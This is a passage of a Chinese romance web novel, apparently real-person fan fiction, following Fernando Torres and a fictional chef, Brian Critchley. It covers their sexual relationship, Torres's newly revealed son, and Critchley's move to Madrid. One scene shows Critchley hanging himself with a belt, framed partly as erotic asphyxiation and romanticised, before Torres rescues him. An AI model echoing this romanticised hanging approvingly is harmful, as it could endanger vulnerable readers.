不,克里奇利也知道,接受一个与众不同的自己不是那么容易的,而鼓起勇气走进一段不被祝福的恋爱更不容易,何况是忍了这么久的人。 “南多,别怕,我会保护好你的,还是那句话,推给我,你的退路是我,相信我。”克里奇利再次拥抱他。 他的手抚上克里奇利的后脑勺,轻轻的拍了拍,好像责怪的说,“傻瓜,我既然选择迈出这条腿,就不会轻易收回来,也考虑到后果了,该保护的人是你,我不允许有人再伤害你。” “唔…南多…”克里奇利紧紧抓住他后背的衣衫,情不自禁的落下泪来,接着就被他稍稍拉开距离,双手捧住脸,凝视了一会,一个温柔细腻的亲吻落在了他的嘴上。 这次,无比坚定。 第108章 好了,话都说开了…… 好了,话都说开了。 都是惨兮兮的,但是克里奇利心疼他的同时却抑制不住内心的狂喜,托雷斯没和男人睡过! 他是第一个,惊不惊喜,意不意外! 再不学会认真和忠诚,上帝都要没眼看了,已经派了这么好的一个人来救赎他,是为了让他进化成更优秀的txl人士,而不是特立独行总和圣经作对的反面教材。 他不明白上帝的旨意,但他相信命运,所以他也没有感谢上帝,而是把全部的信仰毫不犹豫地压在了托雷斯身上,这就是爱情吧,尽管才认识了不到半个月,但对他来说已经够长了。 很快,经过了预热,一切恰到好处。 就在沙发上,克里奇利的手开始点火,指尖再次钻进了那层薄薄的布料里,滚烫的掌心揉捏着那人全是瘦肉的劲腰。 他熟练的操纵着火焰,忽高忽低,忽急忽缓,一边亲吻着对方,一边通过感应对方的反应来调节着火候,就像尝尝食物几成熟了一样,看色泽,硬度,水分和气味,他是厨师界天才,更是魅魔界鬼才。 随着他技术回笼,状态也到了顶峰,好像巅峰期的球员,怎么打怎么进,天生吃这碗饭的,球感致命,而他是各种致命,只消动动嘴皮子和手指,身下人就像被注入了某种辛辣又刺/激的信息素,控制不住的微微颤抖。 不怎么吃荤的托雷斯那里能承受住如此大量又密集的攻势,刚刚还沉稳的像个领航员似的,一直把狼当狗摸,摸来摸去摸出原型了,扑过来又啃又咬的,完全没了分寸。 这回轮到托雷斯羞涩了,别说火势凶猛,只是肌肤相接的瞬间,他的胸口就立刻翻腾起一阵炙热,好似这把火直接烧进了他心窝里,点燃了所有易燃物。 他不需要做什么,克里奇利已经眼睛发绿的像头饿狼,先把自己上衣扒了,像他展示诚意,虽然没有他肌肉壮硕,也不差,线条也很清晰明了,宽阔的肩膀像座大山压在托雷斯的胸膛上。 裤子是趴在他身上,一点一点退掉的,他总是担心托雷斯一个反击把他甩下去,毕竟他领教过一次了。 接着他就开始扒托雷斯的裤腰,这都是他炒菜流程,不扒皮怎么炖。 不是托雷斯不让他炒,是裤子卡在胯骨上怎么拽都拽不下来,低头一看拉链没全拉开,于是他刚要再上手就被托雷斯紧紧地握住了手腕。 “等等…布莱恩…”他紧张的抓住自己的裤腰,停滞了一瞬,“那个…我…” 他竟然也会紧张。 克里奇利顿了顿,反思自己有没有操之过急,让他觉得自己过于轻浮,再说,托雷斯哪做过0,想到这,他松了松手,喘了几口气,慢慢从他身上下来。 “嗯…不急,如果你没准备好的话,我可以等你。” 托雷斯咬了咬牙,目光中闪动波光粼粼的水泽,动情又性感,完全不像40岁的老面包,那些少年感在他的脸上像时光淬炼的琥珀般永生。 克里奇利抿了抿嘴唇,想要压下自己的火势,微微弯着腰,跪在地毯上,虔诚的等待着他的回应。 他没让克里奇利久等,主动退了这条碍事的牛仔裤。 接着是上衣,克里奇利见过他在浴室里赤着上身,这应该不费劲,可是当克里奇利的手伸进他衣服下摆的时候,又被他捉住了手。 “我自己来。”他揪着衣服慢慢往上掀,掀了一半又停下来,眼神闪烁的说,“你太猛了,就像我放生的大鲤鱼,还没等往河里倒它就自己蹦出去了,有点吓人。” 把他形容成鲤鱼还好,克里奇利眯着眼笑笑,觉得他也说不出来自己的行为老练的就像夜店里的舞男,而现在,才刚刚开始。 “放松点,交给我没问题的。”在这方面,他简直是教科书,虽然还没有人写出来,如果有人写出来,那他就是鼻祖。 他们离开沙发,在客厅的地毯上转着圈的拥吻,这会的托雷斯也渐渐放开了手脚,面前的克里奇利除了比他高一点,骨架并不算大,肩膀虽宽,但腰很紧窄,一只胳膊就能揽过来,只需要稍微用点力,就能把他轻松抱起来。 克里奇利感觉自己双脚要离地,就知道托雷斯也开始发力,于是他加重了亲吻,贴着他上步,手也不老实的揉乱他的头发,还去搔他的痒痒肉,调皮又霸道的进行着一波又一波的攻击。 很快他们就翻滚在床上,让月色主宰着这一切自然而然的真情发生。 新鲜感占据了两个人的大脑,对克里奇利来说,托雷斯虽然没有对他使用足以反攻他的力气,但仍然出于本能的想要履行男人的主动权,最终还是纵容他让他在自己身上煽风点火,给了他足够的时间和空间去贪图享受。 这种可攻可受,并且还是第一次和男人过招的极品暖男,让克里奇利幸福的简直要晕过去,但他不能晕,他得珍惜着,把持着,延缓着,快要完了的时候赶紧切换,十八般武艺都比划比划。 而对托雷斯来说,简直是捅了马蜂窝了,看上去像个精明懂事一叫就停的牧羊犬怎么野性这么足,让他放羊可还行?不给你把羊群都霍霍了还能编个冠冕堂皇的理由免于惩罚,叫人没法对着这张伪装无辜又一门心思想吃肉的大狗狗生气,算了,随他去吧,殊不知,他的种是头孤狼啊! 托雷斯,你糊涂啊! 没办法,狼想吃肉有什么错呢? 总不能饿着他,逼他吃草吧,他都晃了小半生,我不收留他,谁收留他?托雷斯抚摸着他心爱的小狼狗,善心大发,决心要给小狼狗一个温暖舒适的家,让他不再流浪。 克里奇利这头野狼,不是东郭先生救的那头,他良心大大的有,他怎么会自己吃肉,让人啃骨头呢,出于职业本能,也会让人饱餐一顿的,这可是他的拿手好戏。 他钻进被子里,游龙戏凤,很快就把人收割了。 两个人气喘吁吁地躺在床上,相视一眼,压不住的嘴角上扬,特别是克里奇利,他简直得意的要死,也就是没有蓬松的大尾巴,不然肯定会舒服到炸毛能当被子盖了。 托雷斯是羞涩内敛的笑,眼神闪烁不敢看他,总觉得这样不好,就像他说的,每一次身体接触,新鲜感就会少一点,他不知道今后自己能否满足这种高需求宝宝。 他实在太惊艳了!简直震碎自己的三观以及对男人的理解程度。 好色是男人的天性,而gayman就更好色,可他就在好色和极好色里选择了不吭声就是实干。 他确凿有力地证明自己的实力,始终维持着一种付出与索取之间的平衡,在认真研磨细枝末节中完成一次次情感交流。 托雷斯深沉地思考了一会,原本不想打探他过去的生活,但实在是太难不在意了,他问他,“你每次都这样吗?” 他听了心里颤了一下,转过来侧躺着,胳膊支起自己的头,看着托雷斯因过度承受而涨红的面颊,上面还有不太明显点点雀斑,他抬起手背在他的侧脸上蹭蹭,不想欺骗他,坦白道,“差不多吧,也看状态和临时发挥,你满意吗?” 托雷斯:“你要是每次都这样,我估计你的情债得泛滥成灾。” 克里奇利:“也不至于,我都处理好了。大概,也许吧。”他掩不住心虚,还给自己留了退路。 托雷斯瞥了他一眼,伸出一根手指头在他脑门上摁了一下,把他推倒在床上,大腿一抬翻身压上,和他鼻尖对鼻尖的交待道,“前债我就不追究了,再欠债让位置。” “哈哈哈…”克里奇利抱着他,亲了亲他的嘴唇以示安慰,“那你没机会了,宝贝,我不会再欠债,我会守着你一个人。” 托雷斯把头埋在他颈间,腥甜的海洋味道钻入他的鼻腔,让他心生醉意一时不知道该说什么,嗯,这样的话,恐怕得再强化一下身体素质了。 第二天,一向赖床不肯起来面对阳光的克里奇利破天荒的起了个大早,只为昨晚的灵感要付诸实践,托雷斯给他的安稳和纵容,让他想到了一道甜品。 开花蛋糕。 他买了食材,在厨房整整忙活了2个小时,最终做出来一个白色的球。 托雷斯已经晨跑回来,看到他脸上挂着糖霜,忍不住笑话他,“我的大厨哎,怎么成小花猫了。” 刚要抬手给他擦擦,他就一歪头躲过去了,然后再把脸凑过去,他不要用手擦,是要一个亲亲,托雷斯瞪他一眼,还是给了他一个亲亲,接着他就把蛋糕从身后举到他面前。 托雷斯看着眼前这个白色的球,惊讶的问他,“忙活一早上,下了个蛋?” “哈哈…什么蛋啊。”说着,克里奇利就把白球放在桌上,从厨房拿来一个小茶壶,再拉着托雷斯看他变魔术。 只见他细长发白的指节捏着小瓷壶的把儿,优雅地对着白球按对角线浇上绿色的汤汁,这个白球不一会就顺着线裂开了,开了一个八瓣的花,花芯是一个精巧的草莓蛋糕,全麦的蛋糕胚搭配新鲜的草莓,树莓和蓝莓,没有奶油,看上去清爽松软,极具视觉美感。 托雷斯瞪大了眼睛,不敢相信这是一个蛋糕,这应该是一个艺术品,就这么华丽丽的在自己眼前盛放了,这叫人怎么下的去口。 “怎么样?”厨子得意的指着自己的作品,对他说,“专门为你设计的,是你让我心里开了花,现在请你赐个名吧。” “我?”托雷斯压不住眼里的激动,这也太浪漫了,感觉回到了20岁,这个家伙,说他不会谈恋爱,谁信啊,他简直就是个情圣。 “让我想想。”托雷斯摸了摸下巴。 “你先尝尝。”克里奇利用叉子叉起一小块蛋糕送进他嘴里,鲜甜软糯,层次分明的口感在他舌尖绽放,好像一个甜蜜的亲吻。 “珍珠?珍珠之心?被吻过的珍珠之心?”托雷斯使劲想了想,“哎呀,我词穷了。” 前面说的都是西语,克里奇利也不知道他说的什么,只知道一脸崇拜的趴在他肩膀上,像个花痴似的一味夸他,“好听,南多,你说西语时真迷人。” 为了夸一句心爱的人,忙活一早上算什么,以后为了夸他,要做的还有很多呢,这是自己为迈出爱情第一步设的小目标,就是每天找理由夸他,让他觉得自己被全世界爱着。 “你可真厉害,我的小傻瓜,不过,这能当饭吃吗?”托雷斯刮了刮他的鼻子,把他拉进了现实。 他倒是不担心早饭的事,心里忽然一亮,搂着托雷斯的脖子高兴的跳,“这道菜不如就叫托雷斯吧!” “噢?真的?” “感谢你为我盛开,我爱你!”【你现在阅读的是魔蝎小说 moxiexs】 第109章(正文终) 第109章 正文完 克里奇利在托雷斯家住的这几天,天天研发新菜品,很快就把厨房就变成了他的乐园,从那道名叫“托雷斯”的甜品开始,不断推陈出新,每次托雷斯下班都能品尝到他不知又忙活多长时间开发的新口味,而且个个惊艳! 托雷斯叫他不要这么辛苦照顾自己,两个人真吃不了多少,他说我也是为了新店在努力学习,人总不能只满足于现状。 他能说出这话自己都惊讶,以前对事业就跟玩一样,特别是自己单干了以后,就是一个营生罢了,现在居然连奋斗的心都有了,他也想托雷斯不用那么辛苦,可以在累了的时候选择依靠他。 托雷斯笑他过于诚实,他说那还有更诚实的,你喜欢的都将是我菜单上的主厨推荐菜。 托雷斯揉了揉他的头发,笑说我又不是美食家,不能按我的口味来,不然你就要开素食餐厅了。 他带着欣赏的目光骄傲地摇摇头,告诉他要是顾客能吃的像你一样壮,我不愁没钱赚。 每一道菜里面都包含着爱,能不好吃吗。 * 冬歇期时间不长,大部分俱乐部都在这个时间段里迅速休憩调整,准备以更好的状态来打开启下半程,而马竞B队一直没有放假,时任主教练的托雷斯也没有放假,每天都去现场盯训。 他敬业程度不亚于退役之前,仍把自己当成是职业球员那样作息,用他的话来说就是,“我难以想象每天不去训练,不参与足球相关的事情是什么日子,这已经成为我生活中必不可少的东西,或者说这就是我的生活。” 克里奇利住不了多久,他德国还有一堆事,他走之前小店意外的爆火让他不得不扩大店面,趁着装修跑出来几天,也不管后期的验收,招聘,培训,宣传的进度,一问老板去哪了,马德里度假去了。 德国的小伙伴们不乐意,他们不想刚发现的宝藏小店就关门大吉,整天在网上观望着寻找着大厨老板的动向,没多久就被他们发现,美丽的大厨好像去了马竞,什么时候马竞也开始转动命运的齿轮了,不是刚引进了小蜘蛛,怕不够命硬,上双重保险是吧? 连断网的德国网友都发现了足坛的玄学,因为克里奇利来到了慕尼黑开店,拜仁在榜首上就一直没下来,这下英国人不乐意了,凭什么我们英超就不能开挂,克里奇利你可是英国人啊!赶紧回来给我们做中国菜! 网上吵翻了天,克里奇利却在马竞的训练场外拿着今天的便当等待着和他男朋友共进午餐。 马竞吃的咋样跟他没关系,他男朋友一定要吃好,趁他还在马德里,能喂一口喂一口。 他隔着铁丝网看托雷斯在场上指导青训队员技战术,一举一动无不展示着专业的光芒,看似严厉的教导,藏不住对这件事的执着和对孩子们耐心负责的态度,说着说着他就亲自演示无球跑动和带球观察,并大声告诉他们,“眼睛要像雷达,精力要集中,观察的时候一定不要慌,再来!” 那不怒自威认真细致的样子特别迷人。 “我老婆真好!”克里奇利看得出神,幻想自己成为他的队员,为他每一次命令倾尽全力,得到了他的夸夸就有理由抱着他转圈。 终于等到他下班,克里奇利冲他招招手,他就迈着沉稳的步伐向这边走来,一边走还一边和队员们讲刚才的练习要回去整理一下,下节课要检查。 大家走出门去,看到他的“私厨”在这里等他,都叽叽喳喳地和克里奇利打招呼,还凑过去闻闻他的袋子里到底装了什么好吃的。 托雷斯轻轻咳嗽一声,吓的一帮调皮小子一哄而散。 “那么吓人干嘛?”克里奇利微笑着揽上他的肩膀,还捏了捏他肩上的皮肉,“辛苦了!老婆。”他凑过去在他耳边小声说。 托雷斯胳膊肘怼了怼他,叫他别闹,耳尖瞬间染上一抹色彩。 克里奇利陪着他在教练员休息室吃饭,把他带的饭盒拿出来,摆在桌上,四菜一汤,烤鸭胸肉、龙虾焗西兰花等一些家常菜,还有一道香蕉松饼甜点,摆好了以后,托着腮看他吃。 “你不吃吗?”托雷斯瞄他一眼,他就像画家刚完成了一幅画,只顾着欣赏。 “我吃过了,边角料就够我吃的了。” “噢?可不能亏待了我的小狼狗。”托雷斯拿起一个还热乎乎烙的像纸一样薄的筋饼,卷起一片烤鸭肉,沾了些酱汁,再搭配一个葱丝黄瓜条,卷了卷举到他嘴边。 他笑笑心想他还挺会吃,凑过去张口去接,托雷斯接着逗弄地收了手,嘴角噙着笑,说,“你不是不吃嘛!” “老婆卷的怎么能不吃呢。”他握着托雷斯的手腕,啊呜一口吃掉了卷饼,撑的腮帮子鼓鼓的,还不放手,又嘬了嘬托雷斯指尖上的酱料,眼神拉丝地好像吃到了不得的东西。 要了老命了。托雷斯内心直呼,他这该死的魅力怎么无处不在,压都压不住,从内而外地散发着诱惑的气息,关键还不油腻,这到底是什么人啊,让他产生了一种错觉,这人并非雌雄同体,却有着男人和女人的双重优势,带着坏坏的攻击性和挑动他兴趣的柔软潮湿。 他盯着他的嘴唇发呆,正想自己脑子里的形容是否贴切,那两片柔软潮湿的嘴唇就凑过来在他的嘴唇上印了一下,像羽毛轻抚,又像点点星火,吻的他嘴唇又痒又辣。 还吃什么饭,厨子看上去更好吃。 托雷斯回过神来,叉子一放,把他扑倒在沙发上…… “哎哎哎…吃饭,乖…”克里奇利捏着他的下巴,又给了他几个温存的亲亲,哄他先吃饭。 他想到这是在办公室里,大白天的,万一有人来撞见了也不太好,于是不情愿的爬起来,准备吃饭。 谁知他刚往嘴里送一口汤,这个扰人情愫的大色狼就递上一句话,“中国有句话叫饱暖思淫欲,一会咱们去浴室。” “咳咳…”他险些被这口汤呛死,接着面前就递过来一张纸巾。 “慢点吃。”克里奇利轻轻捋着他的后背,那张人畜无害,面不改色的脸,挂着一丝坏笑,盯着他又想说什么,想了想闭嘴了。 就这样,克里奇利在托雷斯家里小住了7天,混熟了他的圈子,掌握了他的生活轨迹,实在是简单的过于单调,他几乎三点一线,单位,家,健身房,一个完美的闭环。 难怪他女朋友都处不长,谁能忍受这么一个淡人呢? 其实你要是走近他,了解他,就会发现他有他的节奏。 曾经那些激情燃烧的岁月给了他热爱生活享受生活的底气,让他整个人仿佛沐浴在阳光下,是与秋冬反季的,你和他在一起,就好像在过无止境的夏日。 而克里奇利就是他生活中的彩虹,从阴霾的云雾中探出头来,总能带来惊喜,那种随性,高傲,不屈和美丽,让他简单平静的生活充满了活力。 英格兰地下夜店叔级王子和西班牙阳光绿茵童颜王子,两个看似毫不相干的人,此时此刻却像乐高积木一样卡的无比契合。 故事终章是开始。 克里奇利回到德国,要把市场份额转手,但已经扩大了规模,他要是不干恐怕没人能承接住。 于是他考虑培训,把自己的手艺传承下去,这需要一定的时间和精力,毕竟他属于天赋型选手,自成体系,没什么理论性很强的东西却掌握着厨神的精髓,想要一时半会成规模,培养接班人并不容易。 他这一生,根本不需要听众。世俗成功对他来说如身外之物,但是不能遇到难题就选择退缩,那不符合他的性格。 托雷斯也支持他做大做强,不渴求社会认同,但若能把世界留在他掌心的火苗之中,在业界留下一个响当当的名字,那么就不会后悔。 他们约定,将来在西班牙相聚。 先做周末夫妻,实在太忙就推迟几天见面,有时托雷斯来慕尼黑,大多数时间都是他飞去马德里。 突然有一天,事情发生了重大变故。 托雷斯初恋女友回来了。 她去了美国,加拿大,巴西,阿根廷,南美北美转了一大圈,最后还是回到西班牙,回到托雷斯身边,她说自己很累,想要过安稳的生活。 托雷斯不知道这么多年她发生了什么,看着她沧桑的容颜和疲惫无奈的眼神,要说不心疼是不可能的,毕竟她走的时候是那么年轻美丽,倔强潇洒。 但是今时不同往日,托雷斯不能收留她。 可是,她却拿出了一张孩子的照片,乍一看好像托雷斯小时候的照片,但很显然不是。 这张照片如闸刀的冷光将托雷斯一下子闪回了15年前。 一次朋友聚会,女友喝了调制酒,和他在泳池里嬉戏打闹,一直到洗澡都处于兴奋状态,在浴室里和年轻的他有过一次欢愉。 此后不久她就走了,那时托雷斯并不知道,自己有了一个孩子,而这个孩子现在已经15岁。 女友并未告知,而是一个人独自抚养孩子长大,现在身体不如从前,才不得以回来寻求他的帮助,实际上他们分也未分,合也未合。 托雷斯也不知道这是怎么一回事。 该怎么和克里奇利解释呢,生活给他出了一个无比巨大的难题。 当克里奇利再次来到西班牙的时候,托雷斯没让他进家门,而是约在一个咖啡厅和他见面。 看着托雷斯才不过两周就瘦的塌陷的眼眶,克里奇利有种不详的预感。 听他用熟练的英语颠三倒四地说起这件事,克里奇利陷入了巨大的沉默之中。 托雷斯那么好的一个人,他的人生没有任何污点,也没有任何能让人诟病的东西,除了成全,他不知道还能怎么做? 不是抽身快吗?不是一夜主义吗?不是滥蛟吗?不是不婚主义吗?事到如今,报应来了。 给别人吃的憋,如今自己吃个大的,还不能怨谁,要怨只能怨自己种的苦果太多,做的孽太深,上帝终究还是要教育他的。 回去的脚步沉重的像坠了千斤镣铐,心里的天塌了,该怎么活下去。 想了一夜,他也想不明白,要不一起生活?想到这,他又扇自己嘴巴,还嫌不够恶心吗,自己就应该一辈子生活在暗处,不配拥有阳光,不配过异性恋那种被人祝福的日子。 可笑的异性恋,如今他反而无比羡慕。 “好吧,我曾说过,我是你的退路。如果事情到了极度艰难的时候,全推给我,我一个人承受就好。”挣扎过后他给出了自己答案。 两个月后,拜仁夺冠了。 整个慕尼黑都沉浸在彻夜狂欢的浪潮中。 哈里凯恩成为英格兰小太阳,照亮了拜仁慕尼黑的夜晚。 克里奇利也成为英格兰独树一帜的品牌,他在慕尼黑总店大摆宴席,请天南海北的朋友大吃三天三夜,那场面好似一场巨大的婚礼。 而他正自导自演一场诀别。 一个风雨交加的夜晚,他的房门被沉沉叩响。 他听不见,他在窒息中享受着最后的欢愉。 他把腰带悬在阁楼天花板上,房间放着嘈杂的西语摇滚乐,踩着凳子将自己送进“绞刑架”,口中念着“上帝啊,不管你要不要我,我都得去找你,而我将永远美丽下去。” 脚底下哪怕有一点摇晃,就真的去见上帝了。 而现在,他脑海中浮现出一个又一个人的面孔,大桥下吹着风对他一眼沦陷的瘦高个儿德国男孩,金发小队长挪威男孩,烈性十足一点就着的葡萄牙男孩,温柔强大爱发小脾气的比利时男人,荷兰小阳光,阿根廷美少年,德国小直鹿,匈牙利,爱尔兰,克罗地亚,波兰,西班牙…… 他们都没有怪他,而是向他伸出手,发出了诚挚的邀请,“大宝贝,想你了。” 他摇摇头,与他们一一告别。 灭顶的酸楚在窒息中格外清楚震撼,一波又一波摇晃着他即将死去的神经。 他的双腿发抖,很快就要撑不住,要么随脚下的椅子一起跌倒在地,要么抓紧“绳索”继续体验生死边缘的竞速,看看是生超越死,还是死了拉倒听天由命。 突然哐当一声,不是椅子倒塌,而是房门被人暴力撞开,接着他的双腿就被人结结实实的抱住向上托了起来,他身子腾空一下子摔进那人怀里,随即两人倒在了木地板上。 托雷斯抱着他,眼泪刷地涌了出来,一边哭一边紧紧地抱住他,泣不成声。 “你怎么这么傻!布莱恩!你…你要是死了,我怎么办?” “……” 他缓缓抬起手臂,手指弯曲拢成半圆捧起了托雷斯的侧脸,轻轻的笑了笑,又无力的躺在地上,后脑勺磕在木地板上发出咚的一声闷响。 “对不起。”托雷斯哽咽的几乎说不出话来,“你给我起来!”他突然情绪失控,拽起瘫在地上的人,再次将他抱在怀里,下巴垫在他的肩膀上,像第一次跳舞那样。 “有些事发生了我们没法改变,但是当下不珍惜才是最大的罪过,我准备好了,你呢?” “……” 他盯着托雷斯的眼睛,深深地吐出一口气,捧起他的脸,像第一次在雨中亲吻那样,再次亲吻了他,而后,看着那双哭红的双眼,摇了摇头。 “南多,我本来不属于这个世界,来过一次就已经很满足了。” 他顿了顿接着说。 “当然,我也不是自鲨,我只是在享受自己,别难过。” 托雷斯:“我带你回西班牙,回我们家,我都处理好了,相信我。” 克里奇利:“我相信你,我一直都在等你,没想到,被你看见了我最狼狈的时刻。” 托雷斯:“怪我,布莱恩,怪我…” 克里奇利:“怎么能怪你呢?你知道吗,以前我总以为相遇是最好的,其实不是,是重逢。” 托雷斯紧紧地抱住他,快要把他勒进身体里,泪腺又不受控制的任泪水肆意涌出,沾湿了克里奇利的衣衫。 “好了。”他抚摸着托雷斯的发梢,反过来安慰他,“再不松开,我自鲨未遂反被你勒死在怀里了,你说好不好笑。” “噗…”托雷斯破涕为笑,都什么时候他还有心开玩笑,托雷斯刚要掐他一把,他又说: “你打断了我的窒息gc,这个必须要还。” 说完,他就抱着他,拥吻他,坚定不移的走向床铺,做他那没做完的梦。 他只愿永远都不会醒来。 (正文终)【你现在阅读的是魔蝎小说 moxiexs】 【番外合集】 第110章 番外 处理完德国的事物,克里奇利真的要搬家去马德里,和他再也不想离开的人一起生活。 但是,多了一个人。 托雷斯说他都处理好了,是把他儿子接来马德里念高中,他女朋友拿了这十五年的分手费和抚养费,回美国了。 15岁的半大孩子已经有了自己的主见和价值观,想要和谐相处并不容易。 克里奇利能融入他们父子的生活吗? 别说他了,就连托雷斯自己都要和他刚见面的儿子来一场面试。 面试说顺利吧,他儿子几乎一言不发,说不顺利吧,还能听懂西语。 托雷斯问他:“小家伙,你过的怎么样?” 他抬了抬眼皮,说,“埃里克·米赫尔。”他告诉托雷斯他的名字和他的母姓。 想要让他在米赫尔前面加上托雷斯,恐怕还得过段时间。 接着,埃里克就什么都不说了。 托雷斯这次去德国,被克里奇利吓的不轻,本来组织好要把他哄回去的语言忘得一干二净,但是克里奇利已经想明白了,他在这次劫数之后冷静地问过自己:托雷斯现在所承受的压力和将要面对的考验一点不比自己少,不给这段感情放点信心,哪来的地久天长? 多久算久呢,这在他人生字典里没有答案,好吧,先浪漫再结算,就算十年八年那也是赚了的。 他总是认为自己40岁就该寿终正寝了,但是托雷斯比他大将近10岁,生活要是这么奔的话,对托雷斯来讲可不公平,怎么,他40岁去见上帝,托雷斯50岁成鳏夫吗? 他摇摇头,正在收拾衣服的手抖了抖,清晰的筋脉在小臂上凸显,他拿起手机给先回西班牙和他儿子谈判的托雷斯打了电话。 “要不,我晚点再过去。” “多晚?”托雷斯语气平缓,耐心十足。 “嗯……我想想,虽然我已经过够了两地分居的日子,但是店面刚做起来,一时找不到合适的人接手,而且马德里那边我也没物色好地方,总不能和你家小宝贝一起吃你的喝你的吧。” “哈哈,我还养不起你啦?” “不,你能养得起,我很好养的,我这辈子最成功的不是给别人做饭自己也能吃饱,而是在没有归宿的人生轨迹上被你捡了养起来。” “快别说的好像什么小说虐文一样,是我追妻火葬场,不是你,好不好!” “哈哈哈,行吧,那个,你和你的小宝贝相处的怎么样?” “这个嘛,还要慢慢来,不过,他都长大了,也懂事了,我们还需要彼此多了解一下。” “你儿子错不了,准是个阳光和煦的美少年,再有你的温柔谦和、彬彬有礼、善解人意……” “好啦,别夸我了,我现在比较担心他会冒犯你,毕竟青春期还没过,所以,你想晚点来也行,让我再和他熟悉熟悉。” 克里奇利叹了一口气,生活真是处处充满意外和挑战。 他把东西都收拾好放那准备着,想到即将阔别这个出租屋和自己的店面还有拜仁的兄弟们也需要个时间缓冲,幸好托雷斯给了他足够的时间和空间,让他处理这些尾事。 他要走,凯恩第一个不乐意。 不过幸好他们都是伦敦的,一年国家队集训就有好几次,还是能见上面的。 凯恩把他当弟弟,凯恩家人把他当儿子,就连凯恩的小妹都亲切地称呼他“孩子王”,因为他每次去凯恩家里,都和凯恩小妹3岁的儿子玩的不亦乐乎。 一碟小鱼饼干就哄的3岁娃娃跟着腚的喊爸爸。 小妹佯装生气地跟凯恩抱怨说布莱恩太坏了,抢她儿子不说,还抢他儿子爸爸的名分。 凯恩说要不是他年龄在这摆着,估计能和你儿子称兄道弟。 克里奇利听见了嘿嘿一笑,给自己找借口说,叔叔不是难叫吗,叫爸爸多顺口啊,是吧,小宝贝。 小宝贝拿到了饼干才不管他叫爸爸呢,一溜烟跑掉了。 拿小鱼饼干哄3岁小孩,不知道拿什么去哄那个15岁的大孩呢,这是个问题。 他走的时候也没有无情到不和拜仁的好兄弟道别,特别是那个为他生意张罗人气的小鹿斑比。 穆西亚拉表现的很成熟,给了他一个大大的拥抱,并祝福他在西班牙落地生花,以后还要去他西班牙的小店蹭饭吃,别到时候成了大老板不认识他了。 穆勒却没那么淡定,一直拉着克里奇利说,“你怎么能说走就走啊,你难道不知道离开一个混熟了的地方要下多么大的决心吗!” 克里奇利一手一个搂过来过来,不知道说什么才好。 一个依依不舍看得出来,另一个因为合约到期也要在赛季末离开几乎奋斗了整个职业生涯的拜仁,是从从小到大一直效力的俱乐部。 俱乐部无情,人有情。克里奇利抱着两个姓穆的,内心的情绪一时也没控制住,他说,“好兄弟,你们都是这座城市的丰碑,我为能在慕尼黑与你们相识感到荣幸!” 穆西亚拉拍了拍他的后背,说,“你这么煽情干嘛,赶紧走吧!再不走我俩就不让你走了!” 穆勒红着眼圈,反过来安慰和他一样因为离别而掉泪的人,他抬手擦了擦克里奇利的脸,说,“别哭,你才呆了多久,哪像我。” 克里奇利仰着头不让眼泪掉下来,深深叹了一口气,在一簇簇目光延伸中挥别了他的德国朋友。 两周后,旗舰店搬到了马德里。 克里奇利早就想好了,他这条搅浑水的大鲶鱼,本事一共就俩,一个是吃掉不听话的小鱼,另一个是让活蹦乱跳的小鱼吃饱吃好。 所以也没经过什么苦苦思索,绞尽脑汁,就等着新店试营业的第一天,邀请他们父子来品鉴就行。 托雷斯对他信心满满,就没有他拿不下的人和拿不下的胃,但还是提前告诉克里奇利,小家伙喜欢吃宫保鸡丁,炒饭和蛋卷。 克里奇利听了直皱眉,典型的美式视角对中餐的固定理解,他喜欢吃的这些都是他不屑去做的。 但是为了第一印象,他还是做了这些菜单上没有的菜。 当然他还做了一些小家伙没点的,是托雷斯爱吃的烤鸭和蟹黄豆腐。 一个个精致的碟子里面盛上刚出锅的漂亮饭,热气腾腾仿佛刚从油锅里跳出来,一会就摆满了一桌子。 然而比漂亮饭还漂亮的主厨大人还没走出现,他本来对菜信心满满,而且出手游刃有余,但是当菜品全都出餐了以后,他竟然有些紧张,一个人躲在后厨,连偷窥的勇气都没有。 感觉像是一场生死面试。 害,管他呢,就算征服了他的胃也不见得小家伙就能愉快接受自己当他后爹。 不接受就不接受,那也不影响他铁了心要靠岸的决定,如果没有托雷斯,他就得在汪洋中溺死,已经死过一次了,不能再寻死觅活的了,多没出息。 然而,他在小孩,特别是这样一个半大小孩面前是真的没出息了。 他卑微的走到托雷斯父子跟前,扶了扶头上的厨师帽,面带微笑地询问,“尊贵的客人,口味还满意吗?” 托雷斯笑笑,刚想给埃里克介绍,埃里克就直面大厨说了一句让人始料未及的话。 “你就是他男朋友?” “……” “……” 一句话说的两个人口干舌燥。 托雷斯赶紧喝了口水,压了压自己要冲出胸膛的焰火,谁知憋的脸通红不说,肺都要被灼伤了。 克里奇利只是张嘴惊讶了一下,接着弯了弯唇角,心想看来托雷斯和他说了呀,那没事了,只是没料到这孩子这么直白。 他紧张是紧张,又不是怕自己的身份孩子接受不了,这孩子好歹从南美北美转了一大圈,见过的世面估计也不少,而且都15岁了,也该明确取了,再说,接受不接受他,他都是要霸占他爹的,他也是孩子呢。 是“孩子王。” 于是,大厨反而自在了许多,他拉过一把椅子坐在他们中间,把帽子摘了扔在一边,随意捋了捋头发,对埃里克柔声说道,“嗯,你英语说的不错,我爱听。” “哈哈…”这是埃里克来到西班牙第一次笑出声来。 托雷斯震惊又无措地看着他们,不知道接下来这俩人会擦出什么火花来,是好是坏,自己该怎么应对。 埃里克:“布莱恩·克里奇利,你确实有两下子。” 此言一出,托雷斯再也不能淡定,他眉毛一横,罕见的语气加重,“埃里克,我不是和你说了,就算你再不满意也要保持风度。” 埃里克:“我哪里没风度了?又哪里不满意了?” 克里奇利觉得这孩子是在夸他呀,于是按住了托雷斯的手,说,“南多,他不是你的小队员,而且,我猜,他应该对这顿饭很满意,说不定对我也…” “很满意呢?”他转过头去看埃里克,埃里克给了他一个明亮的眼神,那傲娇又得意的小表情跟年轻时的托雷斯一模一样。 “唉…”托雷斯叹了口气,默默地给他俩斟茶倒水,感觉这俩人要给他平淡的生活增加不少幺蛾子。 两人你一句我一句的还聊上了。 都是些什么虎狼之词啊。 托雷斯直接闭眼,不知道该捂脸还是捂耳朵。 克里奇利:“埃里克,你有女朋友吗?” 埃里克:“有啊,在美国。” 克里奇利:“长什么样子?” 埃里克:“你看。” 两个人头碰头凑一起看手机里的照片。 克里奇利:“不错嘛,挺靓的,身材也好,你小子果然有两下子。” 这是埃里克刚夸他的,他又夸回去。 埃里克抬头看了一眼托雷斯,好像很认可他爹的颜值又不想承认自己铁随他,于是叛逆开口道,“随我妈。” 